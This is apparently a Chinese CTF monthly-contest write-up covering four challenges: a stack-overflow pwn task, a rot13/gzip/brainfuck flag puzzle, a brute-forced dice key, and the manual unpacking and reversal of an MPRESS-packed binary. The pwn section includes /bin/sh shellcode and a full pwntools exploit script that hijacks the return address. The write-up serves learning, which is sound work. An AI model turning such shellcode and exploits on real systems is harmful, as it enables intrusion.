3月月赛
pwn
easypwn
Download: pwn)
ida打开程序以后可以看见一个很明显的栈溢出
int __cdecl main(int argc, const char **argv, const char **envp) |
输入2的时候读取了0x40 byte数据但是只有0x20的空间, 可以劫持到EIP
看一下保护
➜ Desktop checksec pwn
[*] '/home/a/Desktop/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: PIE enabled
RWX: Has RWX segments
开了PIE, 但是没有开NX, 可以把shellcode写到栈上跳转上去执行
但是开了pie, 栈地址是随机化的, 我们可以用选项1来leak栈地址
在gdb里看一下printf的地址
pwndbg>
140737488346288
即 0x7fffffffdcb0
看一下输入数据的地址
00:0000│ rsi rsp 0x7fffffffdcb0 ◂— '23333333\nPUUUU'
01:0008│ 0x7fffffffdcb8 —▸ 0x55555555500a (_init+10) ◂— add byte ptr [rax - 0x7b], cl
02:0010│ 0x7fffffffdcc0 —▸ 0x7fffffffddb0 ◂— 0x1
03:0018│ 0x7fffffffdcc8 ◂— 0x200000000
04:0020│ rbp 0x7fffffffdcd0 —▸ 0x555555555320 (__libc_csu_init) ◂— push r15
05:0028│ 0x7fffffffdcd8 —▸ 0x7ffff7a2d830 (__libc_start_main+240) ◂— mov edi, eax
06:0030│ 0x7fffffffdce0 ◂— 0x1
07:0038│ 0x7fffffffdce8 —▸ 0x7fffffffddb8 —▸ 0x7fffffffe17e ◂— 0x2f612f656d6f682f ('/home/a/')
可以看到输入的数据的地址正好是之前输出的栈地址
写入shellcode跳转到这个地址即可
在exploit-db找了个shellcode, 小于0x40就行
shellcode = '\x50\x48\x31\xd2\x48\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\xb0\x3b\x0f\x05'
然后溢出到EIP执行shellcode
exp:from pwn import *
r = process('./pwn')
context(os='linux', arch='amd64', log_level='debug')
shellcode = '\x50\x48\x31\xd2\x48\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\xb0\x3b\x0f\x05'
r.sendlineafter('3.ESC\n', '1')
stack_addr = int(r.recvuntil('\n')[:-1], 10)
print ('[*] stack addr = ' + str(stack_addr))
r.sendlineafter('3.ESC\n', '2')
r.sendline(shellcode + 'a' * (0x28 - len(shellcode)) + p64(stack_addr))
r.interactive()
Journey2urBF
Download: Journey2urBF.bz2)
直接cat文件
00000000: 1s8o 0808 s474 7s5p 0003 666p 6167 0085 .....g.\..synt..
00000010: 91oo 1180 300p 437o 56q1 2513 s8op 08p7 ....0.P{I.%.....
00000020: sr6o 6011 p740 or2r 12r9 49o8 0840 9953 .x`..@....V..@.F
00000030: 1550 2n2q p0ns 8ss8 p9p6 7476 0086 6802 .C*-......gi..u.
00000040: n778 112p n34q 0848 33r9 529o p4p9 3rr1 .k.,.Z.U3.E...>.
00000050: 2q35 2846 78p4 s511 3sq9 98pr 0rp0 104q -5(Sk...?......Z
00000060: r014 2s82 65o4 09o7 o115 qr47 no23 001s ../.r......T.#..
00000070: q04r n174 p81r 98s0 5553 38qo nsn5 24ps .A.g....HF8...$.
00000080: 22s8 p670 5pr3 7sn6 7r5r 53r6 n996 72q4 "..c\...~^F...e.
00000090: 9rqr 7103 spp1 114p rs02 0000 ..d....Y....
Congratulations! You have found the flag! But it seems that it's
broken.All lowercase (a-z) and uppercase (A-Z) letters have been
rotated by 13 positions,can you repair it?
Hint:The flag was expressed in an ugly programming language,try
to solve it.
根据提示猜测是rot 13, 找个在线解密
00000000: 1f8b 0808 f474 7f5c 0003 666c 6167 0085 .....t.\..flag..
00000010: 91bb 1180 300c 437b 56d1 2513 f8bc 08c7 ....0.C{V.%.....
00000020: fe6b 6011 c740 be2e 12e9 49b8 0840 9953 .k`..@....I..@.S
00000030: 1550 2a2d c0af 8ff8 c9c6 7476 0086 6802 .P*-......tv..h.
00000040: a778 112c a34d 0848 33e9 529b c4c9 3ee1 .x.,.M.H3.R...>.
00000050: 2d35 2846 78c4 f511 3fd9 98ce 0ec0 104d -5(Fx...?......M
00000060: e014 2f82 65b4 09b7 b115 de47 ab23 001f ../.e......G.#..
00000070: d04e a174 c81e 98f0 5553 38db afa5 24cf .N.t....US8...$.
00000080: 22f8 c670 5ce3 7fa6 7e5e 53e6 a996 72d4 "..p\...~^S...r.
00000090: 9ede 7103 fcc1 114c ef02 0000 ..q....L....
看到了flag文件, 文件头1f8b 0808搜了一下是压缩文件, 在010editor中把上面的数据copy进去另存为压缩文件打开
brainfuck解两次即可拿到flag
dice
Download: RE_dict.exe
运行程序后, 发现是输入6个数字的key, 如果key正确就输出flag
ida反编译康康
六个数字都是分开判断的, 那么我们完全可以用ida的调试进行爆破…
在判断这里下断点然后从1到6分别输入每一位进行判断即可, 如果正确则会继续往下走 否则跳转到输出wrong
最后key : 43251
simple unpack
用detect it easy查壳
发现是mpress2.19的壳
找了一圈没找到脱壳工具…尝试手脱
od打开exe文件
照着加密与解密的方法, 一路找到程序入口点
具体来说就是调试外壳程序, 单步调试到一个类似
push 40130
retn
的位置, 即大段的jump操作, 跳转到一个距离当前位置很远的代码
然后这里的代码可能是
0401130 55 db 55 ; CHAR ‘U’
0401131 8b db 8b
0401132 ec db ec
0401133 6a db 6a ; CHAR ‘j’
这样的形式
按下Ctrl + A强迫OD重新分析代码, 即可得到去壳后的程序
然后把去壳后的程序dump出来
在入口点那里右键, 用od脱壳调试进程, 保存即可
用ida打开以后就可以看到脱壳后的代码了
程序逻辑是 对输入的数据进行了一波操作, 然后跟一组数据比对
第一个操作函数, 根据我多(bu)年(cun)逆(zai)向(de)的经验来看是base64算法
2333, 实际上是根据代码里的几个等于号猜测是base64算法
那么我们测试一下输入test12345, 找个在线加密的网站 结果是dGVzdDEyMzQ1
看一下返回的result
确定是base64
接下来两个函数对base64的结果操作了一波
函数1:
int __cdecl sub_401160(const char *a1) |
即对每一位进行+6^6操作
测一下我们base64串的第一位和第二位操作以后的结果
>>> print ord('d') + 6 ^ 6
108
>>> print chr(108)
l
>>> print ord('G') + 6 ^ 6
75
>>> print chr(75)
K
和内存中的结果正好一致
函数2:
int __cdecl sub_4011A0(const char *a1) |
函数2是和自己下标求异或
测试一下前两位:
>>> print chr(108 ^ 0)
l
>>> print chr(75 ^ 1)
J
看一下返回结果:
bingo
最后一个比对函数, 往内存中输入32位数据, 然后对之前操作完的输入进行比对
那么程序最终逻辑就是, 输入的key经过base64后, 先逐字符加6异或6, 然后逐字符异或下标, 得到的32位进行比对
逆向算法即, 对比对的32位逐字符异或下标, 然后异或6后减6, base64解码即可
32位数据位\x61\x4B\x58\x6B\x6A\x72\x6E\x36\x51\x52\x37\x61\x55\x3D\x44\x72\x48\x2E\x5C\x7B\x49\x93\x4C\x7D\x7E\x28\x4C\x73\x7A\x56\x43\x23
jio本:cmp = '\x61\x4B\x58\x6B\x6A\x72\x6E\x36\x51\x52\x37\x61\x55\x3D\x44\x72\x48\x2E\x5C\x7B\x49\x93\x4C\x7D\x7E\x28\x4C\x73\x7A\x56\x43\x23'
num = 0
decrypt = ''
for i in cmp:
decrypt += chr(((ord(i) ^ num) ^ 6) - 6)
num = num + 1
print decrypt
然后base64解密这个字符串即可~